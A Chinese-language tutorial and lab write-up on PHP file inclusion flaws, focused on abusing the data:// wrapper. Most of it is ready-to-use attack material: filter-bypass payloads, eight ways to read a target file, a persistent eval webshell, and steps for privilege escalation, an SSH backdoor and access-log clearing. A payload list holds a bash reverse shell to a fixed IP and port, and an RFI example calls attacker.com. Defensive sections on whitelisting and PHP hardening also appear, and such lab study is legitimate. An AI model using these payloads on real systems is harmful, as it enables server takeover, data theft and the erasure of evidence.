1. 文件包含漏洞基础解析
文件包含漏洞(File Inclusion Vulnerability)是Web安全领域中常见的高危漏洞类型,主要发生在应用程序动态包含文件时未对用户输入进行严格过滤的情况下。这种漏洞允许攻击者通过构造特殊参数读取服务器上的敏感文件,甚至执行任意代码。
1.1 漏洞产生原理
文件包含漏洞通常出现在使用以下PHP函数时:
- include()
- include_once()
- require()
- require_once()
- fopen()
- file_get_contents()
当这些函数接收的用户输入(如URL参数)未经充分过滤就直接用于文件包含操作时,攻击者可以通过精心构造的输入路径实现非预期的文件访问。例如:
php复制// 危险示例:直接使用用户输入作为包含路径
$page = $_GET['page'];
include($page);
1.2 漏洞危害等级
文件包含漏洞根据利用方式不同可分为两类:
-
本地文件包含(LFI):读取服务器本地文件
- 危害:可读取配置文件、日志文件等敏感信息
- 典型利用:
?page=../../etc/passwd
-
远程文件包含(RFI):包含远程服务器上的文件
- 危害:可执行任意代码,完全控制服务器
- 典型利用:
?page=http://attacker.com/shell.txt - 前提条件:
allow_url_include=On
2. Data伪协议深度解析
2.1 Data协议基本规范
Data伪协议(data URI scheme)定义于RFC 2397,允许将小型数据直接嵌入URL中。其标准格式为:
code复制data:[<mediatype>][;base64],<data>
在PHP文件包含漏洞利用中,Data协议的特殊价值在于:
- 当
allow_url_include开启时,PHP会解析data协议内容 - 可直接将PHP代码作为数据传递,绕过常规文件上传限制
- 无需依赖外部文件存储,攻击更加隐蔽
2.2 PHP中的Data协议实现
PHP对Data协议的支持通过流包装器(Stream Wrapper)实现。关键配置项:
allow_url_include:必须为On才能使用data协议包含allow_url_fopen:通常也需要开启
常见利用形式示例:
php复制// 基本形式
include('data://text/plain,<?php phpinfo();?>');
// Base64编码形式
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');
2.3 协议变体与绕过技巧
在实际渗透测试中,开发者可能会对标准data协议进行过滤,此时可采用多种变体绕过:
-
斜杠变体:
data:/text/plain,...(单斜杠)data:text/plain,...(无斜杠)
-
MIME类型变体:
data:application/x-httpd-php,...(指定PHP类型)data:text/plain;charset=utf-8,...(添加字符集参数)
-
编码变体:
- 纯文本:
<?php code?> - Base64编码:
PD9waHAgY29kZTs/Pg== - URL编码:
%3C%3Fphp%20code%3B%3F%3E
- 纯文本:
3. 靶场渗透实战全记录
3.1 环境准备与信息收集
靶场环境特征:
- URL结构:
http://[靶机]/start/?file=view.html - 页面提示存在文件包含风险
- 目标文件位于
/key.php
初步测试:
http复制GET /start/?file=../../etc/passwd HTTP/1.1
观察响应判断是否存在路径遍历漏洞。
3.2 Data协议基础利用
3.2.1 标准协议测试
http复制GET /start/?page=data://text/plain,<?php phpinfo();?> HTTP/1.1
发现被过滤,返回错误页面。
3.2.2 协议变体绕过
尝试单斜杠变体:
http复制GET /start/?page=data:/text/plain,<?php phpinfo();?> HTTP/1.1
成功显示phpinfo页面,确认漏洞存在。
3.3 八种Flag获取方法详解
方法1:直接文件读取
php复制data:/text/plain,<?php readfile('/var/www/html/key.php');?>
通过读取文件内容直接获取flag。
方法2:系统命令执行
php复制data:text/plain,<?php system('cat /var/www/html/key.php');?>
利用system函数执行系统命令。
方法3:文件内容高亮
php复制data:/text/plain,<?php highlight_file('/var/www/html/key.php');?>
使用PHP内置函数高亮显示源代码。
方法4:文件流读取
php复制data:text/plain,<?php echo file_get_contents('/var/www/html/key.php');?>
通过文件流函数获取内容。
方法5:短标签利用
php复制data:/text/plain,<?=file_get_contents('/var/www/html/key.php')?>
使用PHP短标签语法简化payload。
方法6:Base64编码传输
php复制data:text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7Pz4=
对payload进行Base64编码绕过简单过滤。
方法7:多协议组合
php复制data://text/plain;charset=utf-8,<?php include('php://filter/convert.base64-encode/resource=/var/www/html/key.php');?>
结合php://filter协议获取文件。
方法8:日志文件注入
- 通过User-Agent注入PHP代码
- 包含access日志文件
php复制data:/text/plain,<?php include('/var/log/apache2/access.log');?>
需要先污染日志文件。
3.4 持久化后门部署
3.4.1 木马生成
php复制data:/text/plain,<?php file_put_contents('shell.php','<?php eval($_POST["cmd"]);?>');?>
在web目录创建一句话木马。
3.4.2 连接与利用
使用蚁剑或HackBar连接:
code复制URL: http://target/start/shell.php
POST: cmd=system('whoami');
3.4.3 权限维持
通过webshell:
- 查看服务器信息
- 尝试提权
- 建立SSH后门
- 清理访问日志
4. 防御方案与最佳实践
4.1 安全编码建议
- 白名单过滤:
php复制$allowed = ['home', 'about', 'contact'];
if(!in_array($page, $allowed)) {
die('Invalid page!');
}
- 路径固定:
php复制$page = '/var/www/html/pages/' . basename($page) . '.php';
- 禁用危险函数:
ini复制disable_functions = exec,passthru,shell_exec,system
4.2 服务器加固措施
- PHP配置:
ini复制allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
- 文件权限:
bash复制chown -R www-data:www-data /var/www/html
chmod -R 750 /var/www/html
- WAF规则:
- 过滤
../等路径遍历特征 - 拦截常见协议字符串(data://, php://等)
4.3 漏洞检测方法
- 静态分析:
- 检查文件包含函数的参数来源
- 追踪用户输入流向
- 动态测试:
http复制GET /index.php?page=../../../../etc/passwd%00 HTTP/1.1
GET /index.php?page=data://text/plain,<?php phpinfo();?> HTTP/1.1
- 自动化工具:
- OWASP ZAP
- Burp Suite Scanner
- RIPS静态分析工具
5. 靶场源码深度审计
5.1 过滤机制分析
靶场关键过滤代码:
php复制$page = str_replace("data://", "", $page);
// ...其他协议过滤
$page = $page . ".txt";
存在的安全问题:
- 仅简单替换协议字符串,可被双写绕过:
php复制data:data://text/plain,... → data://text/plain,... - 未处理大小写变体(Data://, DATA://等)
- 未过滤路径遍历字符(../)
- 黑名单机制不完善
5.2 安全改进方案
改进后的代码示例:
php复制$allowed_pages = [
'home' => 'home.php',
'about' => 'about.php'
];
$page = $_GET['page'] ?? 'home';
if(!array_key_exists($page, $allowed_pages)) {
die('Invalid page request!');
}
include(__DIR__ . '/pages/' . $allowed_pages[$page]);
关键改进点:
- 采用白名单机制
- 固定文件路径
- 限制文件扩展名
- 使用绝对路径包含
6. 渗透测试经验总结
6.1 常见绕过技巧
-
路径截断:
- 利用
%00截断(PHP<5.3) - 超长路径截断(Windows)
- 利用
-
协议混淆:
- 大小写变异(DaTa://)
- 协议嵌套(php://filter/convert.base64-encode/resource=data://text/plain,...)
-
编码混淆:
- URL编码
- Base64编码
- 多重编码
6.2 实用Payload集合
文件读取:
php复制data://text/plain,<?php echo file_get_contents('/etc/passwd');?>
命令执行:
php复制data://text/plain,<?php system($_GET['cmd']);?>
反弹Shell:
php复制data://text/plain,<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");?>
6.3 防御绕过思路
-
黑名单绕过:
- 使用冷门协议(expect://, ogg://)
- 协议组合利用
-
日志注入:
- 污染SSH日志
- 污染Web服务器日志
-
临时文件利用:
- 上传文件包含临时文件
- 包含/proc/self/environ
在实际渗透测试过程中,需要根据目标环境灵活组合各种技术,同时注意操作的法律合规性。建议仅在授权测试中使用这些技术,并做好测试记录和报告。